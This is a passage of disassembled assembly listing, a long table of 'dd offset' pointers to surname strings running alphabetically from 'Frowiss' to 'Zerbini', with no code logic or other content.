		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
